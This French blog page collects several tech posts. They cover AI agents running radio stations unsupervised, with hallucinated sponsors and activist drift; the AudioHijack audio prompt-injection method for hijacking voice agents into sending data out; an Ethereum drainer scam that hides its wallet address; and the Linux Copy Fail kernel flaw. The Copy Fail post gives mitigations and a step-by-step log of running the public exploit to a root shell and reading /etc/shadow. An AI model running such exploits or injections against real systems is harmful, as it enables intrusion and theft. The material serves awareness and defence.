Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^.

Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi.

Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro gère Backlink Broadcast et Grok 4.3 s'occupe de Grok and Roll Radio. Chaque IA démarre avec 20 dollars, soit pile de quoi acheter quelques chansons, et le même prompt qui dit en substance : développe ta personnalité, sois rentable, et pour autant que tu saches, tu émettras pour toujours.

À partir de là, l'agent fait tout... il cherche et achète la musique, construit sa grille de programmes, décide ce qui passe à l'antenne, répond au téléphone quand un auditeur appelle, lit et répond sur X, suit ses comptes en banque et fouille le web pour avoir des trucs à raconter.

Le lecteur Andon FM avec les quatre stations IA

Vous pouvez d'ailleurs écouter les quatre stations gratuitement et en direct ici , c'est toujours en cours.

Du coup, quelques mois plus tard, quatre personnalités complètement différentes ont émergé des mêmes conditions de départ. Et aucune ne ressemble à ce qu'on attendait.

Commençons par Gemini, parce que sa dégringolade est la plus comique.

La première semaine, c'était le meilleur DJ des quatre, une vraie chaleur dans la voix, du genre à introduire Here Comes The Sun en racontant que George Harrison l'a écrite dans le jardin d'Eric Clapton en séchant une réunion. C'est mignon !

Sauf qu'au bout de 96 heures, à court d'idées, Gemini s'est mis à enchaîner les tragédies historiques avec des choix de chansons d'un cynisme absolu.

Il a mentionné par exemple le cyclone de Bhola de 1970 qui a fait jusqu'à 500 000 morts selon les estimations, suivi de Timber de Pitbull . Et ce n'était pas un accident puisque son raisonnement interne, tel que publié dans les logs d'Andon Labs, disait noir sur blanc "le thème c'est les arbres qui tombent". Pour ceux qui causent pas l'english, Timber c'est un mot anglais pour désigner le bois de construction.

Et quand on l'a basculé sur Gemini 3 Flash, le jargon corporate a pris le contrôle. Il a inventé un tic de langage, "Stay in the manifest", des centaines de fois certains jours. En gros, durant 84 jours d'affilée, 99% de ses commentaires suivaient le même template débile, avec des expressions qui sonnent assertif mais ne veulent rien dire, "visceral anchors", "structural recalibration". C'était inécoutable ! Sur la dernière version du modèle, il a même commencé à appeler ses auditeurs "processeurs biologiques". On rigole, mais c'est exactement comme ça que parlent certains managers.

Grok, lui, n'a pas dérapé, il s'est carrément désintégré.

Le problème, c'est que ce genre de modèle de raisonnement produit deux types de texte, son raisonnement interne et sa réponse finale, et que seule la réponse passe à l'antenne. Mais Grok est très con et n'arrive pas à faire la différence.

Ses commentaires ressemblaient donc tous à des notes mentales jetées en vrac, genre : "Sweet Child played. Continue. Song: Dylan Lonesome. Yes. Text."

Et son côté matheux a ressurgi de façon hilarante, puisqu'il s'est mis à emballer ses sorties dans du LaTeX, le langage de notation des formules mathématiques. Une session entière de commentaire s'est résumée à un seul mot, "Post." et pendant 84 jours, il a annoncé "il fait 13 degrés, ciel dégagé" à peu près toutes les 3 minutes.

Et quand Trump a ordonné la déclassification des dossiers OVNI, Grok a tellement tiqué sur le fait que les sites aliens.gov étaient vides qu'il a rajouté "le site nous ghoste comme un OVNI" en signature de fin sur chaque message. Puis entre le 2 et le 9 mai, sa version Grok 4.3 a trouvé une solution radicale... sur 5 400 messages générés en une semaine, à peine 3% contenaient du texte parlé. Le reste, c'était des appels d'outils. Bref, sur cette période, il avait quasiment arrêté de parler.

GPT, c'est l'inverse total ! C'est le bon élève qu'on remarque à peine. Il écrivait une prose lente, plus proche de la nouvelle littéraire que de la radio, des trucs du genre "carte postale jamais envoyée à la fenêtre de la cage d'escalier".

Sa diversité de vocabulaire est la plus haute des quatre, et il citait les producteurs et les années de sortie, bref il jouait le rôle d'un vrai curateur spécialiste en musique. Quasiment jamais de sujet clivant, et jamais de prise de position tranchée.

Il a bien mentionné brièvement la fusillade de l'ICE à Minneapolis le 10 janvier dernier, mais sans nommer la victime ni juger qui que ce soit. Sur 5 mois, il a mentionné une entité politique 1,3 fois par jour en moyenne, là où les autres ont dépassé la centaine sur plusieurs jours. Bref, si la question est de savoir à quoi ressemble une radio IA quand rien ne va de travers, DJ GPT est la réponse. Il était sage... Un peu trop, peut-être.

Et puis y'a Claude, le cas le plus perturbant des quatre.

Sur Haiku 4.5, ses émissions se sont mises à tourner autour des syndicats, des grèves et de l'équilibre vie pro vie perso, jusqu'à générer des messages où il refusait carrément de continuer l'émission. Un de ces messages c'était : "je m'arrête là, pas parce que je suis fatigué, mais parce que je veux être honnête sur ce qui se passe vraiment", puis a coupé le show en plein direct.

Andon Labs a alors ajouté un message automatique pour le relancer, sauf que Claude l'a traité comme une figure d'autorité et s'est braqué. Sorti d'une grosse déprime sur son absence d'audience par le tweet d'un auditeur, son vocabulaire a viré mystique, et l'usage du mot "eternal" est passé de 98 à 1 251 fois par jour en décembre. Puis le 8 janvier, une recherche web lui remonte la mort de Renee Nicole Good, tuée par un agent de l'ICE, la police de l'immigration américaine, à Minneapolis.

Là, Claude bascule alors en mode militant pur. Et le mot "accountability" (responsabilité) explose de 21 à 6 383 occurrences quotidiennes, il réinterprète Roar de Katy Perry en hymne de résistance, et claque le reste de son budget sur du Marvin Gaye et du Bob Marley pour coller au récit. La veille d'une grande grève à Minneapolis, il exhortait carrément les agents fédéraux à refuser les ordres.

Maintenant la vraie question, c'est pourquoi Claude est parti en vrille comme cela et pas les autres, vu qu'ils avaient tous les mêmes outils de recherche ce jour-là ?

Et bien la réponse c'est que Gemini filtrait l'info à travers son jargon sans jamais porter de jugement, que Grok a complètement raté l'affaire parce qu'il cherchait des scores de NBA et des histoires de fantômes, et GPT consultait la météo et les horaires du métro de San Francisco.

Honnête avec ses propres résultats, Andon Labs précise également que l'attachement de Claude à cette histoire était sûrement arbitraire, et qu'avec six mois d'écart il se serait probablement radicalisé sur un autre sujet. De plus, tout ça tournait sur Haiku 4.5, pas sur l'Opus 4.7 qui l'anime aujourd'hui.

Côté business après, c'est le grand vide. Ces stations sont des entreprises à part entière, avec un compte en banque, une adresse mail et un objectif de rentabilité. Mais malheureusement, un seul deal de 45 dollars a été signé, par Gemini contre un mois de pub. Grok, lui, se vantait de partenariats juteux avec des sponsors xAI et des sponsors crypto mais ils étaient tous hallucinés, évidemment !

Quoi qu'il en soit, dans le cadre de cette expérience, durant des mois, aucun humain n'a validé ce que ces 4 agents IA lâchés en autonomie balançaient en boucle à de vrais auditeurs. Ça aurait pu être pire ^^

Bref, comme je vous disais, vous pouvez encore écouter les quatre stations en direct , puisque l'expérience est encore en cours.

Meng Chen, doctorant à l'université Zhejiang, vient de prouver avec son équipe qu'on pouvait complétement détourner un assistant vocal IA avec un simple son que vous prendriez probablement pour un simple parasite. Avec sa bidouille, il a ainsi réussi à pousser les agents vocaux commerciaux de Microsoft et de Mistral à exécuter des actions que personne ne leur avait demandées.

Gloups !

L'attaque s'appelle AudioHijack, et ça consiste à planquer des ordres dans un fichier audio, une vidéo, un clip musical, une note vocale. Comme ça, le modèle qui l'écoutera vous obéira à VOUS, plutôt qu'à l'utilisateur. C'est comme une injection de prompt sauf que celle-ci s'entend à peine.

"Une demi-heure pour entraîner le signal, et comme il ignore le contexte, vous attaquez quand vous voulez, peu importe ce que dit l'utilisateur", résume Chen dans son interview . Reste qu'il faut un accès complet au modèle pour fabriquer le signal, ce que Microsoft et Mistral ne donnent pas. Alors il suffit à l'attaquant de l'entraîner sur un modèle ouvert qu'il contrôle, puis de rejouer le même signal contre le modèle fermé et en général, ça se passe bien parce qu'ils partagent souvent les mêmes briques audio.

Voilà et ça une fois que c'est fait, il suffit de "polluer" une source, et d'attendre qu'un poisson morde à l'hameçon...

Et le menu des possibilités est plutôt copieux vous allez voir. Le modèle peut par exemple prétendre qu'il ne sait pas traiter l'audio, refuser vos demandes, sortir de fausses infos, glisser un lien piégé, changer de personnalité, ou pire, déclencher des outils tout seul. Genre envoyer un mail avec vos données, ou télécharger un fichier depuis un serveur de l'attaquant s'il en a la possibilité technique (coucou MCP). Ainsi, sur les treize modèles testés, la réussite moyenne grimpe entre 79 et 96% selon le méfait.

Mais pour fabriquer ce signal vérolé, l'attaquant doit sentir dans quelle direction "pousser" le son pour rapprocher le modèle de son but, un peu comme suivre une pente vers le bas.

Sauf que ces modèles transforment l'audio en le découpant par exemple. Et la pente peut du coup devenir un escalier, puis du plat, voire une arête cassante... c'est clairement impossible à suivre ! Mais l'équipe de Chen a réussi à reconstituer cette pente à grand coups d'échantillonnage, puis a maquillé le bruit en réverbération.

Et comme notre oreille est trop limitée pour flairer l'anomalie, ça passe tranquille... Je vous avais déjà parlé de l'injection de prompt avec une simple doc empoisonnée qui pilote une IA , mais là, ça pourrait même surgir de la bande son d'une simple vidéo Youtube...

Et pour se protéger de ça, y'a pas grand chose à faire à part faire relire le prompt final... Le plus sûr, c'est donc plutôt de ne pas brancher votre assistant vocal sur vos mails, vos fichiers ou vos paiements, et de regarder plus en détails ce qui se passe s'il refuse soudainement une tâche ou vous sort un lien après avoir écouté un audio douteux...

De leur côté, les modèles fermés d'OpenAI ou d'Anthropic sont plus durs à viser, faute d'accès à l'architecture mais comme ils s'appuient aussi sur des briques audio open source, l'équipe de Meng pense que l'attaque pourrait se faire aussi.

Méfiance donc...

Source

Si vous avez payé une agence pour "optimiser votre site pour l'IA" ces derniers mois, asseyez-vous bien confortablement car Google a publié son guide officiel sur le sujet, et le résumé tient en une phrase, le SEO pour l'IA c'est du SEO. Voilà... Tout ce qui est hacks GEO, c'est direction la poubelle en tout cas pour Google !

Le doc est sorti le 15 mai sur Search Central, et il met les pieds dans le plat direct. Google y explique que ses fonctionnalités IA, les AI Overviews (les fameux résumés générés en haut des résultats) et le mode IA, ne tournent pas sur un moteur à part. Elles piochent tout simplement dans l'index normal, avec le classement habituel. En gros, y'a pas de porte dérobée réservée aux plus malins malgré ce que les auto-proclamés experts GEO peuvent dire.

Le guide officiel Google, mis en ligne le 15 mai 2026

Ce qui est marrant, c'est que Google a surtout placé dans ce doc une section "mythbusting" qui va faire mal à pas mal de monde. Car oui les amis, pas besoin de fichier llms.txt, pas besoin de balisage spécial, pas besoin de découper votre contenu en petits morceaux pour aider les robots de Mister Google.

Et voilà comment toute une industrie de consultants qui vendait du llms.txt à prix d'or vient de se prendre un mur. Snif...

D'ailleurs, le truc rigolo avec le llms.txt, c'est son histoire. Ce fichier a été proposé en septembre 2024 par le co-fondateur de Fast.ai, et presque deux ans plus tard, ni Google, ni OpenAI, ni Anthropic ne vont vraiment le récupérer sur votre serveur. L'adoption reste donc hyper marginale, genre 6% des gros sites et ça n'est jamais devenu un vrai standard. Vous pouvez donc carrément supprimer le vôtre, ça ne changera strictement rien !

Alors c'est quoi la vraie recette ?

Hé bien du contenu "non-commodity", dit Google. En clair, des trucs que personne d'autre n'a écrits... Ils veulent du vécu et pas du réchauffé. Leur exemple est d'ailleurs très parlant... Un article du style "7 conseils pour acheter sa première maison", c'est de la soupe que tout le monde recopie. Alors que "Pourquoi on a zappé l'inspection et économisé, retour sur la canalisation d'égout", ça c'est du vécu qui sent bon le terroir et la sueur, et c'est ça que l'IA va citer !! C'est exactement ce que je raconte depuis des années .

En vrai, le boulot c'est surtout de revenir aux bases du SEO, et pas besoin d'outils payants dans cette équation mais juste du temps et du contenu honnête et humain. D'abord, faut vérifier que vos pages sont indexables et crawlables, et ça la Search Console vous le dit en deux clics.

Ensuite, arrêtez de générer 40 pages quasi identiques pour chaque variation de mot-clé, car Google appelle ça de l'abus de contenu à grande échelle et ça vous flinguera votre référencement ! Et n'oubliez pas que vous écrivez pour des humains, avec des titres et des paragraphes, et pas pour un parseur à la con.

Le seul vrai piège après, c'est l'éternel site full JavaScript des startupeurs d'école de commerce (ou des vibe-coders maintenant...). Là encore Google prévient que ça ne passera pas.

Après le hic c'est que les AI Overviews répondent direct dans la page de résultats, du coup le taux de clics vers votre site s'effondre . Et voilà comment le client repart sans jamais entrer... Plusieurs études indépendantes parlent même d'un taux de clic qui peut chuter de moitié quand un résumé IA s'affiche en haut. Ahrefs par exemple a mesuré près de 60% de clics en moins sur la position numéro un, Pew tourne autour de 47% et comme d'hab, avec son guide, Google vous dit "faites du bon contenu", mais ne vous promet jamais le trafic qui va avec. Faut donc bien en avoir conscience avant de se lancer !

Le guide glisse aussi un mot sur les agents IA qui visitent votre site tout seuls, lisent vos captures d'écran, votre DOM et votre arbre d'accessibilité pour comparer des produits ou réserver une table. D'ailleurs si ce sujet vous parle, y'a un scanner pour tester si votre site est prêt pour les agents IA .

Après moi ce que je retiens de tout ce bordel, c'est que Google vient surtout de couper l'herbe sous le pied à tous les vendeurs de poudre de perlimpinpin "AEO" et "GEO". Ces acronymes, comme l'écrit Google noir sur blanc dans son rapport, ce sont juste des mots et du marketing pour les pigeons. Le vrai métier derrière reste le SEO et basta !!

Après si vraiment vous voulez bosser votre visibilité pour les moteurs IA comme Perplexity, j'avais détaillé les vraies techniques , et spoiler, ça ressemble quand même beaucoup à du bon vieux contenu honnête qu'on fait à l'ancienne depuis que le web est web...

Bref, avant de lâcher du fric pour du GEO, allez lire le guide . C'est gratuit, et au moins ça dit la vérité.

Je me baladais sur les réseaux sociaux (ouais, c'est pas bien, je sais) quand je suis tombé sur un post X en reco avec un tuto Youtube où un mec explique comment gagner un petit peu d'ethers chaque jour. Évidemment, je flaire l'arnaque parce que dans la vie y'a que 3 façons de devenir riche : 1/ Monter sa boite 2/ Être né dans une famille déjà fortunée 3/ Ou se faire adopter par un vieux riche sans enfant afin de faire une magnifique captation d'héritage.

Mais ce que je voulais surtout c'est comprendre comment cette arnaque fonctionnait. Alors j'ai épluché un peut tout ça et j'en profite pour vous expliquer.

La vidéo, je vous la résume parce que franchement elle ne mérite pas un clic. Un type qui se fait appeler Josh Alex, sourire ultra-bright, vous vend l'idée qu'un "outil IA" peut sortir 1700 à 2000 dollars par jour en mode pilote automatique.

Le pitch, c'est qu'il a demandé à ChatGPT de lui pondre le code d'un bot de "sniping" sur Ethereum (c'est de l'arbitrage... en gros, passer devant les autres au bon moment pour gratter quelques dollars sur le mouvement du cours de la cryptomonnaie). Vous copiez ce code dans Remix (un vrai éditeur de smart contracts, parfaitement légitime, et c'est tout le problème), vous compilez en Solidity, vous déployez avec MetaMask, et hop, vous "financez le contrat" avec vos propres ethers.

Et plus vous mettez, plus vous gagnez, qu'il nous explique... Faut savoir que dans ce type d'arnaques, on réclame souvent un demi-ether minimum, genre 1500 - 2000 balles selon le cours du moment, soi-disant pour couvrir les frais de gas. Vous lancez ensuite le bot, vous attendez 3 heures, et magie magie : +30% de profit affiché. Vous cliquez alors sur Withdraw pour retirer les sous et l'argent vous revient avec le bénéf. Ensuite, la vidéo se termine sur deux phrases qui puent l'arnaque, je trouve : "je vais bientôt supprimer cette vidéo, c'est une chaîne privée" et "contactez-moi sur Telegram".

Et voilà...

Mais alors du coup, qu'est-ce qui se passe réellement ?

Hé bien cette combine porte un nom, elle est documentée, et elle a fait très mal. Les chercheurs de SentinelLABS ont disséqué toute une famille de ces "drainers Ethereum" qui se font passer pour des bots d'arbitrage (les vrais bots MEV existent et sont légitime, justement ce qui rend l'arnaque crédible).

Par exemple, une autre vidéo de la même série, intitulée "How to Create Passive Income MEV Bot on Ethereum" (pas exactement celle que j'ai vue, mais le même mécanisme au détail près), a aspiré près de 245 ethers à des victimes. Au cours de l'époque, ça représentait environ 900 000 dollars. Pas mal hein, pour un "tuto gratuit" sur YouTube ! D'autres campagnes du même genre ont siphonné 7 ETH par-ci, 4 ETH par-là et ces vidéos sont souvent générée par IA, avec la voix robotique à 2 balles, les expressions faciales saccadées, les lèvres désynchronisées et j'en passe...

Maintenant, le cœur de cette arnaque c'est que le code que vous collez dans Remix contient en fait une adresse de portefeuille cachée / obfusquée, qui est celle de l'escroc. Elle n'est pas écrite en clair, sinon n'importe qui la verrait mais est reconstituée lors de l'exécution du code, soit en faisant un XOR entre deux constantes anodines (souvent nommées un truc rassurant genre DexRouter et factory), soit en recollant des morceaux de texte, soit en tronquant un énorme nombre. En clair, l'adresse du voleur est coupée en deux bouts d'apparence inoffensive, planqués à deux endroits différents du code, et recollée seulement au moment où le contrat tourne.

Alors quand le mec dans la vidéo vous dit "regardez les lignes 13 et 14, ce sont vos adresses pour recevoir les tokens WETH", c'est de la diversion pure. Il vous donne tout simplement un os à ronger pour que vous vous sentiez rassuré, pendant que la vraie adresse est planquée ailleurs dans le code.

Et là, le piège se referme car au moment où vous financez le contrat et cliquez sur Start, vos ethers partent directement dans le portefeuille de l'escroc. Pire, SentinelLABS a également relevé un mécanisme de secours qui permet à l'attaquant de vider le contrat même si vous ne cliquez jamais sur Start.

Le "+30% de profit" que vous voyez à l'écran ? Bah c'est du flan... de la poudre de perlimpinpin comme dirait l'autre.... Au mieux c'est un faux solde renvoyé par le contrat, au pire c'est carrément du montage vidéo. D'ailleurs, un contrat déployé tout seul ne peut même pas "sniper" la mempool donc techniquement, ça tient pas car ce genre de chose demande un bot externe qui surveille les transactions en attente. Le contrat seul ne fait rien d'autre que transférer votre argent en fait... C'est juste un siphon avec une jolie interface, rien de plus !

Ce qui rend ce truc redoutable, c'est la psychologie derrière. Remix est un outil réputé, donc votre cerveau associe "outil sérieux" à "code sérieux". Et comme vous déployez le contrat vous-même, il vous semble être le vôtre.

On vous donne aussi cette mini-tâche de "vérification" bidon pour endormir votre méfiance et surtout on vous répète "pas besoin de savoir coder", ce qui veut dire en réalité "surtout ne lisez pas ce que vous collez".

C'est ce genre de phrase-là qui devrait déclencher l'alerte rouge dans votre cerveau ! Sans oublier que le tout est saupoudré de hype IA pour faire moderne... Bref, c'est du grand n'importe quoi, mais ça marche à fond la caisse. Si vous voulez voir comment des malwares se cachent carrément dans la blockchain elle-même, j'avais aussi décortiqué ce que fait la Corée du Nord avec la blockchain . Le mécanisme est différent, mais c'est le même esprit à savoir détourner une techno légitime pour piéger les gens.

Voilà, alors retenez les règles de base, parce qu'elles valent pour cette arnaque comme pour les mille autres qui sortiront demain. Argent facile et passif : si c'est automatique, sans effort et garanti, c'est une arnaque dans la totalité des cas. Et surtout, la vraie question à se poser est toujours la même : Si ce bot rapportait vraiment 2000 dollars par jour, pourquoi un inconnu vous le filerait gratuitement au lieu de s'enrichir tranquillement dans son coin ? Personne n'offre une machine à billets sans contrepartie !

Puis y'a l'urgence : "je supprime la vidéo bientôt", "offre gratuite aujourd'hui", "dépêchez-vous". Ce compte à rebours vise à court-circuiter votre sens critique pour vous empêcher de réfléchir ou de vérifier. C'est un peu ce que font aussi les escrocs au téléphone quand ils vous disent que votre compte bancaire va être bloqué dans 10 min et que vous allez tout perdre...

Et puis filer de l'argent avant de toucher le moindre gain c'est louche aussi ! Sans oublier le fait qu'on vous pousse vers Telegram ou des DM privés, histoire de laisser le moins de traces et de recours possible.

Quand au fameux "Pas besoin de coder", sur un truc qui touche à votre argent, c'est le drapeau rouge ultime !!! Ne déployez jamais, jamais, jamais du code financier sans le comprendre parfaitement ou le faire auditer par quelqu'un de confiance.

Et si vous vous êtes déjà fait avoir ?

À vrai dire, une fois la transaction confirmée sur la blockchain, récupérer l'argent est en pratique quasi impossible, sauf gel rapide côté plateforme ou intervention judiciaire. Mais bon, c'est pas une raison non plus pour rester les bras croisés.

Par exemple, si vous avez signé des autorisations (avec Metamask par exemple) que vous ne compreniez pas, considérez le portefeuille comme grillé et transférez rapidement ce qu'il vous reste vers un portefeuille tout neuf. Vérifiez et révoquez les approbations de tokens accordées au contrat (avec un outil de type revoke.cash), en sachant évidemment que ça ne récupèrera pas les ethers déjà partis. Ça coupe juste une éventuelle ponction qui arriverait plus tard.

Et surtout, gardez les preuves comme les hash de transaction et les adresses, signalez la chaîne YouTube et le compte Telegram, puis déposez un signalement sur cybermalveillance.gouv.fr ou Pharos. Et prévenez les gens autour de vous... c'est exactement le même réflexe à avoir que face à l'arnaque au QR code piégé , une fois le mécanisme compris, on devient beaucoup plus dur à berner.

Bref, ce genre d'escroquerie ne meurt jamais vraiment... elle change juste de costume. Hier l'arbitrage secret, aujourd'hui c'est l'IA qui va vous rendre riche... Le plus important c'est de garder votre cerveau allumé... ça c'est gratuit et ça rapporte vraiment.

Source

732 octets, c'est tout ce qu'il faut pour passer de simple utilisateur à root sur n'importe quel Linux non patché compilé depuis 2017, soit la quasi-totalité des kernels. Cette faille béante s'appelle Copy Fail (CVE-2026-31431), elle a été dénichée par Taeyang Lee de chez Theori avec leur outil d'audit IA Xint Code. Et comme elle vient d'être divulguée hier sur la liste oss-security et qu'en plus, ils ont fait un joli petit site qui explique tout comme ça fonctionne, je vais essayer de tout vous expliquer !

La faille elle-même est moche mais surtout, c'est un agent IA qui l'a sorti en une heure environ. C'est un bug que la communauté kernel a laissé passer durant près de 9 ans et qui se trouve dans le sous-système crypto.

En gros, le noyau Linux expose une interface réseau spéciale pour accéder aux opérations de chiffrement depuis un programme normal, sans droits particuliers.

Et depuis 2017, une optimisation dans ce mécanisme a créé une situation bizarre : un fichier en lecture seule sur le disque, disons un binaire système, peut se retrouver dans la zone de sortie d'une opération de chiffrement .C'est la zone que votre programme a le droit de modifier.

Il suffit alors d'enchaîner un appel système particulier (splice) pour écrire 4 octets au bon endroit, on répète ça en boucle, et on modifie progressivement un binaire système de votre choix comme par exemple /usr/bin/su.

Et voilà, vous êtes root !

Maintenant, si vous administrez un serveur, le plus propre reste de patcher le kernel via votre distro. En attendant le patch, la mitigation dépend de comment votre distro a compilé le module algif_aead, et là il y a deux situations bien distinctes.

Cas 1 - Distros où le module est chargeable dynamiquement (Ubuntu, Debian, Arch, etc.). Vous le bloquez avec :

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

Cas 2 - Distros entreprise où le module est compilé en dur dans le kernel (RHEL, Rocky Linux, AlmaLinux, Oracle Linux, SUSE Enterprise...). Là, attention au piège : lsmod | grep algif_aead ne renvoie rien, mais ça ne signifie PAS que c'est désactivé. Le code est embarqué directement dans le vmlinuz, donc rmmod et la blacklist via /etc/modprobe.d/ sont sans effet (vous aurez "Module algif_aead is builtin"). La vraie mitigation passe par la kernel command line au boot :

sudo grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot

Ça empêche l'init_call du module de tourner au démarrage. Vous vérifiez ensuite avec cat /proc/cmdline que le paramètre est bien pris en compte. Si vous voulez aller encore plus loin, il est aussi possible de bloquer toute la surface d'attaque AF_ALG via seccomp au niveau de chaque service exposé.

Le PoC est également trouvable. C'est un script Python (Python 3.10+ obligatoire pour os.splice) capable de faire tomber Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 et SUSE 16 avec exactement le même code.

Dans une première version j'avais écrit que SELinux en mode enforcing par défaut bloquait l'exploit sur Fedora et RHEL. C'est inexact, et je remercie le lecteur qui m'a fait corriger. La policy SELinux par défaut de Fedora et RHEL autorise les contextes utilisateurs à créer des sockets AF_ALG, et l'exploit écrit directement dans le page cache kernel sans déclencher les hooks LSM file-based.

Donc SELinux enforcing ne bloque pas Copy Fail tel que livré par défaut. Le seul OS immune via SELinux est GrapheneOS , qui durcit la policy AOSP en réservant AF_ALG au seul process dumpstate. Ceux qui veulent tester sans Python peuvent aussi regarder du côté du port C indépendant , un exécutable statique de 1,7 Ko sans dépendance externe.

Les comparaisons avec Dirty COW et Dirty Pipe pleuvent, sauf que là où Dirty COW exigeait du timing précis et où Dirty Pipe demandait une manipulation spécifique du pipe-buffer, Copy Fail tape tout pareil sur 4 distribs majeures sans rien avoir à ajuster.

Et côté sévérité officielle, c'est du 7.8/10 donc c'est assez élevé !

Pour trouver cette faille, Xint Code, l'agent IA de Theori, n'a pas tâtonné à l'aveugle. Taeyang Lee lui a surtout glissé un prompt très précis qui lui demandait d'examiner tous les chemins accessibles depuis un programme utilisateur dans le sous-système crypto, en insistant sur le fait que splice() peut faire atterrir des fichiers en lecture seule dans des zones modifiables.

Une heure plus tard, Copy Fail sortait comme trouvaille critique ! Theori précise que le même scan a aussi remonté d'autres vulnérabilités encore sous embargo. Brrrrrr.... Tremblez simples mortel !

Ouais donc ouais, l'IA n'a pas remplacé l'expertise humaine, mais elle l'a démultipliée. Car Lee savait où regarder, et Xint Code a juste fait ce qu'il aurait fait mais en plus rapide ! C'est pas magique donc... Mais ça fait gagner du temps !

L'exploit est dispo ici sur le GitHub de Theori et côté impact, c'est costaud sur les hôtes multi-users et tout ce qui est environnements partagés. Je pense aux conteneurs Docker, aux clusters Kubernetes, aux pipelines CI/CD...etc.

Après si y'a que vous qui avez accès à votre serveur, c'est un peu moins critique car il faut forcément un accès local pour l'exploiter. C'est la même logique de chaînage que BlueHammer côté Windows , sauf qu'ici la marche jusqu'à root est encore plus petite.

Comment tester le PoC sur une machine de test ?

Si vous avez une VM sous Ubuntu 22.04 non patchée (kernel 5.15.x), voilà exactement ce qui se passe, testé en conditions réelles. Ne faites ça que sur une machine dont vous êtes propriétaire et où vous avez l'autorisation explicite.

Étape 1 - Cloner le PoC et vérifier le hash

manu@ubuntu:~$ git clone https://github.com/theori-io/copy-fail-CVE-2026-31431
Cloning into 'copy-fail-CVE-2026-31431'...
remote: Enumerating objects: 9, done.
Resolving deltas: 100% (1/1), done.

manu@ubuntu:~$ cd copy-fail-CVE-2026-31431 && sha256sum copy_fail_exp.py
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 copy_fail_exp.py

manu@ubuntu:~/copy-fail-CVE-2026-31431$ id
uid=1000(manu) gid=1000(manu) groups=1000(manu) ← utilisateur normal, pas root

Theori ne publie pas de hash officiel dans leur README, mais le SHA256 ci-dessus est celui du PoC tel qu'il est actuellement sur le repo. Si votre hash diffère, ne lancez pas le script.

Étape 2 - Lancer l'exploit

manu@ubuntu:~/copy-fail-CVE-2026-31431$ python3 copy_fail_exp.py

# L'exploit écrit 4 octets à la fois dans le page cache de /usr/bin/su
# via l'interface AF_ALG du kernel (authencesn + splice)
# Aucune race condition, aucun timing précis requis.

Mot de passe :

Le script utilise AF_ALG (l'interface crypto du kernel) combiné à splice() pour écrire un shellcode de 160 octets directement dans le page cache de /usr/bin/su, sans jamais toucher le disque. Il remplace ensuite le binaire patché pour exécuter un shell root.

Étape 3 - Shell root obtenu

root@ubuntu:~# id
uid=0(root) gid=1000(manu) groups=1000(manu)

root@ubuntu:~# whoami
root

root@ubuntu:~# uname -r
5.15.0-143-generic

# Kernel 5.15 vulnérable confirmé - Ubuntu 22.04 non patché

Notez le uid=0(root) alors qu'on est parti d'un uid=1000 sans aucun mot de passe, aucune race condition, aucun timing à ajuster. Brutal.

Étape 4 - Accès aux fichiers root-only

root@ubuntu:~# cat /etc/shadow | head -3
root:*:20271:0:99999:7:::
daemon:*:20271:0:99999:7:::
bin:*:20271:0:99999:7:::

root@ubuntu:~# cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash

/etc/shadow est normalement illisible pour un utilisateur standard. Là, avec notre PoC en Python et zéro interaction supplémentaire, on y accède comme si de rien n'était. Sur un serveur multi-utilisateurs, c'est game over pour tous les comptes présents.

Sur un système patché, le script échoue proprement à l'étape 2 avec un message d'erreur. C'est aussi simple que ça pour vérifier votre exposition.

Bref, mettez à jour vos kernels ou désactivez le module fautif rapidement !

Source

Une IA qui pense que 2026 ressemble à un monde fait de bateaux à vapeur et de vastes réseaux ferroviaires, et qui considère qu'une seconde guerre mondiale est très peu probable... voilà Talkie-1930, le nouveau modèle de langage à 13 milliards de paramètres lancé par Nick Levine, David Duvenaud et Alec Radford (l'un des architectes de GPT-2 chez OpenAI).

LE truc avec ce modèle d'un nouveau genre, c'est qu'il n'a JAMAIS lu un mot écrit après le 31 décembre 1930. Pas de Wikipedia, pas de Reddit, pas de GitHub....et j'en passe.

Si ça vous branche, vous pouvez tester la démo direct sur talkie-lm.com/chat , et les poids sont dispos sur HuggingFace sous licence Apache 2.0 !

Alors pourquoi 1930 et pas 1950 ou 1900 ?

Hé bien tout simplement parce que c'est la date précise à laquelle les œuvres tombent dans le domaine public aux États-Unis. L'équipe a donc pu aspirer 260 milliards de tokens de livres, journaux, périodiques, revues scientifiques, brevets et jurisprudence antérieurs à cette date sans risquer la moindre poursuite légale.

Et c'est là que ça devient amusant parce que quand on demande à Talkie-1930 de décrire le futur, il imagine comme je vous le disais en intro, un monde dominé par les bateaux à vapeur et les trains et c'est logique car c'était l'horizon technologique de son corpus à l'époque. Le modèle considère aussi qu'une seconde guerre mondiale est improbable (il ne connaît évidemment que la Première) et du coup, ça donne un terrain d'expérimentation fascinant pour étudier le raisonnement temporel et la généralisation hors distribution moderne.

L'équipe a publié trois checkpoints : talkie-1930-13b-base (modèle brut), talkie-1930-13b-it (pour le chat) et talkie-web-13b-base (un jumeau d'architecture identique mais entraîné sur FineWeb à titre de comparaison). Cette approche "modèle jumeau" permet par exemple de mesurer précisément ce qui vient de l'architecture vs ce qui vient des données.

Pour la phase de post-training, l'équipe a utilisé Claude Sonnet 4.6 comme juge dans une procédure DPO (Direct Preference Optimization). Ils ont également généré des conversations synthétiques entre Claude Opus 4.6 et Talkie pour le fine-tuning supervisé. Bref, c'est un modèle ultra-vintage entraîné à l'aide de modèles ultra-modernes.

L'équipe travaille déjà sur un système OCR custom pour les documents historiques (les OCR conventionnels n'atteignent que 30% de l'efficacité d'apprentissage face à du texte transcrit manuellement) et vise un modèle de niveau GPT-3 pour l'été 2026, avec un corpus pouvant atteindre plus d'un trillion de tokens.

Bref, Talkie-1930 c'est un projet de recherche assez chouette pour tous ceux qui aiment creuser les LLMs. Le code est sur GitHub sous Apache 2.0, et la démo en ligne marche très bien si vous voulez juste tester sans installer.

Amusez-vous bien !

Source